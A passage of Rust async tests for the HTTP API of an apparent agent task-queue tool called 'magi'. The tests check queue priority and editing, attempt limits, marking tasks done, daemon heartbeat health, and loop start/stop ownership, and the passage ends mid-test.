16865        let claim = q.claim(&t.id).unwrap();
16866        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16867        assert_eq!(response.status, 409, "{}", response.body);
16868        assert!(!q.get(&t.id).unwrap().urgent);
16869        drop(claim);
16870        for status in [
16871            TaskStatus::Running,
16872            TaskStatus::Done,
16873            TaskStatus::Failed,
16874            TaskStatus::Blocked,
16875            TaskStatus::Parked,
16876        ] {
16877            t.status = status;
16878            q.put(&mut t).unwrap();
16879            for urgent in [true, false] {
16880                let response = f
16881                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16882                    .await;
16883                assert_eq!(response.status, 400, "{}", response.body);
16884                assert!(response.body.contains(status.as_str()));
16885                assert!(response.body.contains("queued or held"));
16886                assert!(!q.get(&t.id).unwrap().urgent);
16887            }
16888        }
16889        assert_eq!(
16890            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16891                .await
16892                .status,
16893            404
16894        );
16895    }
16896
16897    #[tokio::test]
16898    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16899        let f = Fixture::start().await;
16900        let queue = f.queue();
16901        let mut older = Task::new(
16902            "filed first".to_owned(),
16903            "x".to_owned(),
16904            PathBuf::from("/repo/magi"),
16905            Source::Human,
16906        );
16907        older.id = "20260101-000001-aaaa".to_owned();
16908        let mut newer = Task::new(
16909            "filed second".to_owned(),
16910            "x".to_owned(),
16911            PathBuf::from("/repo/magi"),
16912            Source::Human,
16913        );
16914        newer.id = "20260101-000002-bbbb".to_owned();
16915        queue.put(&mut older).expect("file older");
16916        queue.put(&mut newer).expect("file newer");
16917
16918        // Equal priority: the newer task leads, the same order the old
16919        // newest-first `list()` already gave every equal-priority queue.
16920        let before = f.get("/api/queue").await.json();
16921        assert_eq!(before[0]["id"], newer.id);
16922        assert_eq!(before[1]["id"], older.id);
16923
16924        // Raising the *older* task is the meaningful case: it can only lead
16925        // now because its priority says so, not because it happens to be
16926        // newest.
16927        let raised = f
16928            .post(
16929                &format!("/api/queue/{}/priority", older.id),
16930                Some(r#"{"priority":10}"#),
16931            )
16932            .await;
16933        assert_eq!(raised.status, 200, "{}", raised.body);
16934        assert_eq!(raised.json()["priority"], 10);
16935
16936        let after = f.get("/api/queue").await.json();
16937        let names: Vec<&str> = after
16938            .as_array()
16939            .unwrap()
16940            .iter()
16941            .map(|t| t["id"].as_str().unwrap())
16942            .collect();
16943        // Highest priority first, which is the order next_runnable and
16944        // `magi task list` both use - GET /api/queue must agree with it
16945        // immediately, not just once the loop claims the task.
16946        assert_eq!(names[0], older.id, "the raised task now sorts first");
16947    }
16948
16949    #[tokio::test]
16950    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16951        let dir = TempDir::new().unwrap();
16952        let q = Queue::at(dir.path().join("queue"));
16953        let ui = Arc::new(Ui::new(
16954            q.clone(),
16955            Questions::at(dir.path().join("questions")),
16956            Talks::at(dir.path().join("talks")),
16957            dir.path().join("runs"),
16958            dir.path().to_path_buf(),
16959            dir.path().to_path_buf(),
16960        ));
16961        let mut t = Task::new(
16962            "budget".into(),
16963            "keep".into(),
16964            dir.path().into(),
16965            Source::Human,
16966        );
16967        t.attempts = 2;
16968        t.runs.push("prior-run".into());
16969        t.hold_manual(Some("waiting".into()));
16970        q.put(&mut t).unwrap();
16971        let change = |value| {
16972            queue_attempt_limit(
16973                State(ui.clone()),
16974                Path(t.id.clone()),
16975                Ok(Json(AttemptLimitBody {
16976                    attempt_limit: value,
16977                })),
16978            )
16979        };
16980        for value in [
16981            serde_json::json!(3),
16982            serde_json::Value::Null,
16983            serde_json::json!(1),
16984        ] {
16985            let response = change(value.clone()).await.unwrap();
16986            assert_eq!(
16987                serde_json::to_value(response.0).unwrap()["attempt_limit"],
16988                value
16989            );
16990            let saved = q.get(&t.id).unwrap();
16991            assert_eq!(
16992                serde_json::to_value(&saved).unwrap()["attempt_limit"],
16993                value
16994            );
16995            assert_eq!(saved.status, TaskStatus::Held);
16996            assert_eq!(saved.attempts, t.attempts);
16997            assert_eq!(saved.runs, t.runs);
16998            assert_eq!(saved.hold_reason, t.hold_reason);
16999            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17000                .await
17001                .unwrap()
17002                .0;
17003            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17004            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17005            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17006            assert_eq!(outcome.max_attempts, detail.max_attempts);
17007        }
17008        for value in [
17009            serde_json::json!(0),
17010            serde_json::json!(-1),
17011            serde_json::json!(1.5),
17012            serde_json::json!("3"),
17013            serde_json::json!(true),
17014        ] {
17015            assert_eq!(
17016                change(value).await.err().unwrap().status,
17017                StatusCode::BAD_REQUEST
17018            );
17019        }
17020        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17021        let claim = q.claim(&t.id).unwrap();
17022        assert_eq!(
17023            change(serde_json::json!(4)).await.err().unwrap().status,
17024            StatusCode::CONFLICT
17025        );
17026        drop(claim);
17027        for status in [
17028            TaskStatus::Running,
17029            TaskStatus::Done,
17030            TaskStatus::Failed,
17031            TaskStatus::Blocked,
17032            TaskStatus::Parked,
17033        ] {
17034            let mut stored = q.get(&t.id).unwrap();
17035            stored.status = status;
17036            q.put(&mut stored).unwrap();
17037            assert_eq!(
17038                change(serde_json::json!(4)).await.err().unwrap().status,
17039                StatusCode::BAD_REQUEST
17040            );
17041            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17042        }
17043        let mut stored = q.get(&t.id).unwrap();
17044        stored.status = TaskStatus::Queued;
17045        q.put(&mut stored).unwrap();
17046        let _ = change(serde_json::Value::Null).await.unwrap();
17047        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17048    }
17049
17050    #[tokio::test]
17051    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17052        let dir = TempDir::new().unwrap();
17053        let repo = dir.path().join("repo");
17054        std::fs::create_dir(&repo).unwrap();
17055        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17056        let q = Queue::at(dir.path().join("queue"));
17057        let ui = Arc::new(Ui::new(
17058            q.clone(),
17059            Questions::at(dir.path().join("questions")),
17060            Talks::at(dir.path().join("talks")),
17061            dir.path().join("runs"),
17062            dir.path().to_path_buf(),
17063            repo.clone(),
17064        ));
17065        let mut t = Task::new(
17066            "seats".into(),
17067            "keep instruction".into(),
17068            repo,
17069            Source::Human,
17070        );
17071        t.runs.push("prior-run".into());
17072        t.hold_manual(Some("waiting".into()));
17073        q.put(&mut t).unwrap();
17074        let change = |count| {
17075            queue_implementers(
17076                State(ui.clone()),
17077                Path(t.id.clone()),
17078                Ok(Json(ImplementersBody {
17079                    implementers: count,
17080                })),
17081            )
17082        };
17083        for count in [2, 1, 2] {
17084            let response = change(count).await.unwrap();
17085            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17086            let saved = q.get(&t.id).unwrap();
17087            assert_eq!(saved.implementers(), Some(usize::from(count)));
17088            assert_eq!(saved.runs, t.runs);
17089            assert_eq!(saved.instruction, t.instruction);
17090        }
17091        for count in [0, 4] {
17092            assert_eq!(
17093                change(count).await.err().unwrap().status,
17094                StatusCode::BAD_REQUEST
17095            );
17096        }
17097        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17098        let claim = q.claim(&t.id).unwrap();
17099        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17100        drop(claim);
17101        for status in [
17102            TaskStatus::Running,
17103            TaskStatus::Done,
17104            TaskStatus::Failed,
17105            TaskStatus::Blocked,
17106            TaskStatus::Parked,
17107        ] {
17108            let mut stored = q.get(&t.id).unwrap();
17109            stored.status = status;
17110            q.put(&mut stored).unwrap();
17111            assert_eq!(
17112                change(1).await.err().unwrap().status,
17113                StatusCode::BAD_REQUEST
17114            );
17115            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17116        }
17117    }
17118
17119    #[tokio::test]
17120    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17121        let f = Fixture::start().await;
17122        let queue = f.queue();
17123        let mut task = Task::new(
17124            "in flight".to_owned(),
17125            "x".to_owned(),
17126            PathBuf::from("/repo/magi"),
17127            Source::Human,
17128        );
17129        task.start("20260902-140502-bbbb".to_owned());
17130        queue.put(&mut task).expect("file the task");
17131
17132        let res = f
17133            .post(
17134                &format!("/api/queue/{}/priority", task.id),
17135                Some(r#"{"priority":9}"#),
17136            )
17137            .await;
17138        assert_eq!(res.status, 400, "{}", res.body);
17139        assert!(
17140            res.json()["error"]
17141                .as_str()
17142                .is_some_and(|e| e.contains("running")),
17143            "{}",
17144            res.body
17145        );
17146        assert_eq!(
17147            queue.get(&task.id).expect("reload").priority,
17148            0,
17149            "the refused write must not partially apply"
17150        );
17151    }
17152
17153    #[tokio::test]
17154    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17155        let f = Fixture::start().await;
17156        let queue = f.queue();
17157        let mut task = Task::new(
17158            "old title".to_owned(),
17159            "old instruction".to_owned(),
17160            PathBuf::from("/repo/magi"),
17161            Source::Agent {
17162                run: "20260101-000000-beef".to_owned(),
17163                node: "implement".to_owned(),
17164            },
17165        );
17166        task.runs.push("20260101-000000-beef".to_owned());
17167        queue.put(&mut task).expect("file the task");
17168        let created_at = task.created_at;
17169
17170        let edited = f
17171            .post(
17172                &format!("/api/queue/{}/edit", task.id),
17173                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17174            )
17175            .await;
17176        assert_eq!(edited.status, 200, "{}", edited.body);
17177        let body = edited.json();
17178        assert_eq!(body["title"], "new title");
17179        assert_eq!(body["instruction"], "new instruction");
17180        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17181        assert_eq!(body["created_at"], created_at.to_string());
17182        assert_eq!(
17183            body["source"]["kind"], "agent",
17184            "editing a task an agent filed must not turn it human: {body}"
17185        );
17186        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17187
17188        let reloaded = queue.get(&task.id).expect("reload");
17189        assert_eq!(reloaded.title, "new title");
17190        assert_eq!(reloaded.instruction, "new instruction");
17191    }
17192
17193    #[tokio::test]
17194    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17195        // The judge is an agent now: a repo whose only agent answers
17196        // "duplicate" stands in for it, so the refusal is the judge's.
17197        let tmp = TempDir::new().expect("tempdir");
17198        let repo = tmp.path().join("repo");
17199        std::fs::create_dir_all(&repo).expect("repo dir");
17200        let judge = MOCK_AGENT_TOML.replace(
17201            "printf ok",
17202            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17203        );
17204        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17205        let f = Fixture::with_repo(repo.clone()).await;
17206        let queue = f.queue();
17207        let mut owner = Task::new(
17208            "owner".to_owned(),
17209            "review it".to_owned(),
17210            repo.clone(),
17211            Source::Human,
17212        );
17213        owner.review_branch = Some("magi/ab12/A".to_owned());
17214        queue.put(&mut owner).expect("file the owner");
17215        let mut task = Task::new(
17216            "draft".to_owned(),
17217            "old".to_owned(),
17218            repo.clone(),
17219            Source::Human,
17220        );
17221        queue.put(&mut task).expect("file the draft");
17222        let url = format!("/api/queue/{}/edit", task.id);
17223
17224        let refused = f
17225            .post(
17226                &url,
17227                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17228            )
17229            .await;
17230        assert_eq!(refused.status, 409, "{}", refused.body);
17231        let msg = refused.json()["error"]
17232            .as_str()
17233            .unwrap_or_default()
17234            .to_owned();
17235        assert!(
17236            msg.contains("magi/ab12/A") && msg.contains("force"),
17237            "{msg}"
17238        );
17239        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17240
17241        let forced = f
17242            .post(
17243                &url,
17244                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17245            )
17246            .await;
17247        assert_eq!(forced.status, 200, "{}", forced.body);
17248    }
17249
17250    #[tokio::test]
17251    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17252        let f = Fixture::start().await;
17253        let queue = f.queue();
17254        let mut task = Task::new(
17255            "in flight".to_owned(),
17256            "do not touch".to_owned(),
17257            PathBuf::from("/repo/magi"),
17258            Source::Human,
17259        );
17260        task.start("20260902-140502-bbbb".to_owned());
17261        queue.put(&mut task).expect("file the task");
17262
17263        let res = f
17264            .post(
17265                &format!("/api/queue/{}/edit", task.id),
17266                Some(r#"{"title":"x","instruction":"y"}"#),
17267            )
17268            .await;
17269        assert_eq!(res.status, 400, "{}", res.body);
17270        assert!(
17271            res.json()["error"]
17272                .as_str()
17273                .is_some_and(|e| e.contains("running")),
17274            "{}",
17275            res.body
17276        );
17277        assert_eq!(
17278            queue.get(&task.id).expect("reload").instruction,
17279            "do not touch",
17280            "the refused edit must not change the file"
17281        );
17282    }
17283
17284    #[tokio::test]
17285    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17286        let f = Fixture::start().await;
17287        let queue = f.queue();
17288        let mut task = Task::new(
17289            "busy".to_owned(),
17290            "Running right now".to_owned(),
17291            PathBuf::from("/repo/magi"),
17292            Source::Human,
17293        );
17294        queue.put(&mut task).expect("file the task");
17295        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17296
17297        let priority = f
17298            .post(
17299                &format!("/api/queue/{}/priority", task.id),
17300                Some(r#"{"priority":9}"#),
17301            )
17302            .await;
17303        assert_eq!(priority.status, 409, "{}", priority.body);
17304
17305        let edit = f
17306            .post(
17307                &format!("/api/queue/{}/edit", task.id),
17308                Some(r#"{"title":"x","instruction":"y"}"#),
17309            )
17310            .await;
17311        assert_eq!(edit.status, 409, "{}", edit.body);
17312    }
17313
17314    #[tokio::test]
17315    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17316        let f = Fixture::start().await;
17317        let queue = f.queue();
17318        let mut task = Task::new(
17319            "shipped by hand".to_owned(),
17320            "merged outside the loop".to_owned(),
17321            PathBuf::from("/repo/magi"),
17322            Source::Agent {
17323                run: "20260101-000000-b455".to_owned(),
17324                node: "implement".to_owned(),
17325            },
17326        );
17327        task.runs.push("20260101-000000-b455".to_owned());
17328        task.runs.push("20260101-000000-9af4".to_owned());
17329        queue.put(&mut task).expect("file the task");
17330        let created_at = task.created_at;
17331
17332        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17333        assert_eq!(done.status, 200, "{}", done.body);
17334        assert_eq!(done.json()["status_str"], "done");
17335
17336        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17337        assert_eq!(
17338            reloaded.runs,
17339            ["20260101-000000-b455", "20260101-000000-9af4"]
17340        );
17341        assert_eq!(
17342            reloaded.source,
17343            Source::Agent {
17344                run: "20260101-000000-b455".to_owned(),
17345                node: "implement".to_owned(),
17346            }
17347        );
17348        assert_eq!(reloaded.created_at, created_at);
17349    }
17350
17351    #[tokio::test]
17352    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17353        // `done` is allowed on any status, including `held`, with no release
17354        // in between - so a task held for a reason and then closed directly
17355        // must not keep reading as "waiting on" it afterwards, on its card or
17356        // in `magi task show`.
17357        let f = Fixture::start().await;
17358        let queue = f.queue();
17359        let mut task = Task::new(
17360            "landed while held".to_owned(),
17361            "x".to_owned(),
17362            PathBuf::from("/repo/magi"),
17363            Source::Human,
17364        );
17365        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17366        queue.put(&mut task).expect("file the held task");
17367
17368        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17369        assert_eq!(done.status, 200, "{}", done.body);
17370        assert_eq!(done.json()["status_str"], "done");
17371        assert!(
17372            done.json()["hold_reason"].is_null(),
17373            "a done task cannot still be waiting on something: {}",
17374            done.body
17375        );
17376    }
17377
17378    #[tokio::test]
17379    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17380        // `queue_done` is the phone's way to close a task the loop never
17381        // settled itself - after confirming a manual GitHub merge, say - and
17382        // that is just as much "this task's story is over" as the loop's own
17383        // `Merged`/`Ready` path, so it must trigger the same cleanup.
17384        let f = Fixture::start().await;
17385        let queue = f.queue();
17386        let runs = f.runs();
17387        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17388        // The last attempt has to have actually landed for the earlier one
17389        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
17390        // for the case where it didn't.
17391        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17392
17393        let mut task = Task::new(
17394            "landed by hand".to_owned(),
17395            "x".to_owned(),
17396            PathBuf::from("/repo/magi"),
17397            Source::Human,
17398        );
17399        task.runs.push("20260101-000000-doa1".to_owned());
17400        task.runs.push("20260101-000000-doa2".to_owned());
17401        queue.put(&mut task).expect("file the task");
17402
17403        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17404        assert_eq!(done.status, 200, "{}", done.body);
17405
17406        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17407            .expect("run still on disk under this fixture's own home");
17408        assert_eq!(
17409            reloaded_run.status,
17410            RunStatus::Superseded,
17411            "closing the task by hand must relabel the earlier blocked attempt exactly \
17412             like the loop's own settle path does"
17413        );
17414    }
17415
17416    #[tokio::test]
17417    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17418        // Closing a task by hand is allowed from any status, including one
17419        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
17420        // manual merge the loop never watched, say. Nothing here is provably
17421        // why the task is done, so nothing earlier gets relabelled either.
17422        let f = Fixture::start().await;
17423        let queue = f.queue();
17424        let runs = f.runs();
17425        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17426        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17427
17428        let mut task = Task::new(
17429            "closed with nothing actually landed".to_owned(),
17430            "x".to_owned(),
17431            PathBuf::from("/repo/magi"),
17432            Source::Human,
17433        );
17434        task.runs.push("20260101-000000-dob1".to_owned());
17435        task.runs.push("20260101-000000-dob2".to_owned());
17436        queue.put(&mut task).expect("file the task");
17437
17438        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17439        assert_eq!(done.status, 200, "{}", done.body);
17440
17441        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17442            .expect("run still on disk under this fixture's own home");
17443        assert_eq!(
17444            reloaded_run.status,
17445            RunStatus::Blocked,
17446            "the last recorded attempt never landed, so the earlier one must not be \
17447             relabelled as superseded by it"
17448        );
17449    }
17450
17451    #[tokio::test]
17452    async fn unknown_ids_are_json_not_found_on_both_stores() {
17453        let f = Fixture::start().await;
17454
17455        let run = f.get("/api/runs/nosuchrun").await;
17456        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17457
17458        assert_eq!(run.status, 404);
17459        assert_eq!(task.status, 404);
17460        assert!(
17461            run.json()["error"]
17462                .as_str()
17463                .is_some_and(|e| e.contains("run")),
17464            "the error names what was not found: {}",
17465            run.body
17466        );
17467        assert!(
17468            task.json()["error"]
17469                .as_str()
17470                .is_some_and(|e| e.contains("task")),
17471            "the error names what was not found: {}",
17472            task.body
17473        );
17474    }
17475
17476    #[tokio::test]
17477    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17478        let f = Fixture::start().await;
17479
17480        let missing = f.get("/api/health").await.json();
17481        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17482
17483        write_daemon(
17484            f.home.path(),
17485            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17486        );
17487        let stale = f.get("/api/health").await.json();
17488        assert_eq!(
17489            stale["daemon"]["running"], false,
17490            "a minute without a heartbeat is a dead daemon, not a busy one"
17491        );
17492        assert!(
17493            stale["daemon"]["stale_for_secs"]
17494                .as_i64()
17495                .is_some_and(|s| s >= 55),
17496            "staleness is reported so the UI can say how long: {stale}"
17497        );
17498
17499        write_daemon(f.home.path(), Timestamp::now());
17500        let fresh = f.get("/api/health").await.json();
17501        assert_eq!(fresh["daemon"]["running"], true);
17502        assert_eq!(fresh["daemon"]["idle"], false);
17503        assert_eq!(fresh["daemon"]["pid"], 4242);
17504        assert_eq!(fresh["daemon"]["completed"], 7);
17505        assert_eq!(
17506            fresh["daemon"]["current"][0]["task"],
17507            "20260902-140501-aaaa"
17508        );
17509        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17510    }
17511
17512    #[tokio::test]
17513    async fn the_loop_is_not_running_until_something_starts_it() {
17514        let f = Fixture::start().await;
17515
17516        let view = f.get("/api/loop").await.json();
17517        assert_eq!(view["running"], false);
17518        assert_eq!(
17519            view["owned"], false,
17520            "nobody owns a loop that does not exist: {view}"
17521        );
17522        assert_eq!(view["stopping"], false);
17523        assert_eq!(view["last_error"], Value::Null);
17524        assert_eq!(view["daemon"]["running"], false);
17525        assert_eq!(
17526            view["repo"], "/repo/magi",
17527            "the repository a start would use, named before it is started"
17528        );
17529    }
17530
17531    #[tokio::test]
17532    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17533        let f = Fixture::start().await;
17534
17535        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17536        assert_eq!(res.status, 200, "{}", res.body);
17537        let view = res.json();
17538        assert_eq!(view["running"], true);
17539        assert_eq!(
17540            view["owned"], true,
17541            "the loop the UI started is the UI's own to stop: {view}"
17542        );
17543        assert_eq!(
17544            view["merge"],
17545            Value::Null,
17546            "no override was given, so each repository's own config decides"
17547        );
17548
17549        // The same object from the route a waking phone polls first. Two
17550        // surfaces disagreeing about whether anything is running is exactly
17551        // the confusion this UI exists to remove.
17552        let health = f.get("/api/health").await.json();
17553        assert_eq!(health["loop"]["running"], true, "{health}");
17554        assert_eq!(health["loop"]["owned"], true, "{health}");
17555
17556        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17557    }
17558
17559    #[tokio::test]
17560    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17561        let f = Fixture::start().await;
17562        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17563        assert_eq!(first.status, 200, "{}", first.body);
17564
17565        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17566        assert_eq!(
17567            again.status, 409,
17568            "two loops on one queue race for the same claims: {}",
17569            again.body
17570        );
17571        assert!(
17572            again.json()["error"]
17573                .as_str()
17574                .is_some_and(|e| e.contains("already running the loop")),
17575            "the refusal has to say why: {}",
17576            again.body
17577        );
17578        assert_eq!(
17579            f.get("/api/loop").await.json()["running"],
17580            true,
17581            "and the loop that was already running is untouched by it"
17582        );
17583
17584        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17585    }
17586
17587    #[tokio::test]
17588    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17589        let f = Fixture::start().await;
17590        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17591
17592        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17593        assert_eq!(
17594            res.status, 200,
17595            "the answer must not wait for the loop: a run in flight is tens of \
17596             minutes and the operator is holding a phone: {}",
17597            res.body
17598        );
17599
17600        let view = settled(&f, |v| v["running"] == false).await;
17601        assert_eq!(view["owned"], false);
17602        assert_eq!(
17603            view["stopping"], false,
17604            "a loop that has stopped is not still stopping: {view}"
17605        );
17606        assert_eq!(
17607            view["last_error"],
17608            Value::Null,
17609            "a loop that was asked to stop did not fail: {view}"
17610        );
17611
17612        // Idempotent, because the operator cannot tell a slow stop from a lost
17613        // one and will press it again.
17614        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17615        assert_eq!(twice.status, 200, "{}", twice.body);
17616    }
17617
17618    #[tokio::test]
17619    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17620        let f = Fixture::start().await;
17621        // How the operator has been doing it: a `magi serve` of their own,
17622        // heartbeat fresh, in the same home this UI reads.
17623        write_daemon(f.home.path(), Timestamp::now());
17624
17625        let view = f.get("/api/loop").await.json();
17626        assert_eq!(view["running"], false, "not in this process: {view}");
17627        assert_eq!(view["owned"], false, "and not this process's to control");
17628        assert_eq!(
17629            view["daemon"]["running"], true,
17630            "but a loop is alive somewhere, which is what the UI must say"
17631        );
17632        assert_eq!(view["daemon"]["pid"], 4242);
17633
17634        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17635            let res = f.post("/api/loop", Some(body)).await;
17636            assert_eq!(
17637                res.status, 409,
17638                "neither button may pretend to work on someone else's loop: {}",
17639                res.body
17640            );
17641            assert!(
17642                res.json()["error"]
17643                    .as_str()
17644                    .is_some_and(|e| e.contains("4242")),
17645                "the refusal has to name the process the operator must go to: {}",
17646                res.body
17647            );
17648        }
17649        assert_eq!(
17650            f.get("/api/loop").await.json()["running"],
17651            false,
17652            "and the refusal started nothing"
17653        );
17654    }
17655
17656    #[tokio::test]
17657    async fn a_stale_status_file_is_not_a_foreign_owner() {
17658        let f = Fixture::start().await;
17659        write_daemon(
17660            f.home.path(),
17661            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17662        );
17663
17664        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17665        assert_eq!(
17666            res.status, 200,
17667            "a daemon killed a minute ago must not lock the loop out of its \
17668             own home for good: {}",
17669            res.body
17670        );
17671        assert_eq!(res.json()["running"], true);
17672
17673        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17674    }
17675
17676    #[tokio::test]
17677    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17678        let f = Fixture::start().await;
17679        let before = f.get("/api/health").await.json()["loop_rev"]
17680            .as_u64()
17681            .expect("a loop revision");
17682
17683        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17684
17685        let after = f.get("/api/health").await.json()["loop_rev"]
17686            .as_u64()
17687            .expect("a loop revision");
17688        assert!(
17689            after > before,
17690            "the loop is in-process state, so this counter is the only thing \
17691             that tells a second device the first one started it: {before} -> \
17692             {after}"
17693        );
17694
17695        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17696    }
17697
17698    #[tokio::test]
17699    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17700        let f = Fixture::with_loop(launch_broken).await;
17701
17702        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17703        assert_eq!(
17704            res.status, 200,
17705            "starting it is not the failure: {}",
17706            res.body
17707        );
17708
17709        let view = settled(&f, |v| v["last_error"].is_string()).await;
17710        assert_eq!(
17711            view["running"], false,
17712            "a loop that died must not read as running, or the operator has \
17713             nothing to press: {view}"
17714        );
17715        assert_eq!(view["owned"], false);
17716        assert!(
17717            view["last_error"]
17718                .as_str()
17719                .is_some_and(|e| e.contains("read-only file system")),
17720            "the phone is where a loop that died at 3am is visible: {view}"
17721        );
17722
17723        // And it can be started again: the corpse was reaped, not left to
17724        // occupy the slot.
17725        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17726        assert_eq!(again.status, 200, "{}", again.body);
17727        assert!(
17728            again.json()["last_error"]
17729                .as_str()
17730                .is_none_or(|e| !e.contains("read-only file system")),
17731            "a fresh start does not keep showing why the last one died: {}",
17732            again.body
17733        );
17734    }
17735
17736    #[tokio::test]
17737    async fn a_newer_daemon_status_file_still_renders() {
17738        let f = Fixture::start().await;
17739        // A field this build has never heard of must not turn the status line
17740        // into a 500; that is the whole reason the reader is permissive.
17741        std::fs::write(
17742            f.home.path().join("daemon.json"),
17743            serde_json::json!({
17744                "schema": 2,
17745                "updated_at": Timestamp::now().to_string(),
17746                "idle": true,
17747                "surprise": { "nested": [1, 2, 3] },
17748            })
17749            .to_string(),
17750        )
17751        .expect("write daemon.json");
17752
17753        let health = f.get("/api/health").await;
17754
17755        assert_eq!(health.status, 200);
17756        assert_eq!(health.json()["daemon"]["running"], true);
17757    }
17758
17759    #[tokio::test]
17760    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17761        let f = Fixture::start().await;
17762        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17763        let broken = f.runs().join("20260902-140502-bad");
17764        std::fs::create_dir_all(&broken).expect("run dir");
17765        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17766
17767        let list = f.get("/api/runs").await;
17768        let detail = f.get("/api/runs/20260902-140502-bad").await;
17769
17770        assert_eq!(list.status, 200);
17771        let listed = list.json();
17772        let ids: Vec<&str> = listed
17773            .as_array()
17774            .expect("an array")
17775            .iter()
17776            .map(|r| r["id"].as_str().expect("an id"))
17777            .collect();
17778        assert_eq!(
17779            ids,
17780            vec!["20260902-140501-good"],
17781            "one unreadable run must not cost the operator the whole history"
17782        );
17783        assert_eq!(detail.status, 500);
17784        assert!(
17785            detail.json()["error"]
17786                .as_str()
17787                .is_some_and(|e| e.contains("run.json")),
17788            "the failure names the file to look at: {}",
17789            detail.body
17790        );
17791        // A skipped run has to be countable somewhere, or the UI shows an
17792        // empty history with nothing to explain it - which is exactly what a
17793        // directory full of older-schema runs looks like.
17794        let health = f.get("/api/health").await;
17795        assert_eq!(health.json()["runs_unreadable"], 1);
17796    }
17797
17798    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
17799    #[tokio::test]
17800    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17801        let f = Fixture::start().await;
17802        let runs = f.runs();
17803        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17804        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17805        // Text three levels down, in a shape no current RunState has: an older
17806        // schema must still search.
17807        let path = runs.join("20260902-140502-bbbb").join("run.json");
17808        let mut v: serde_json::Value =
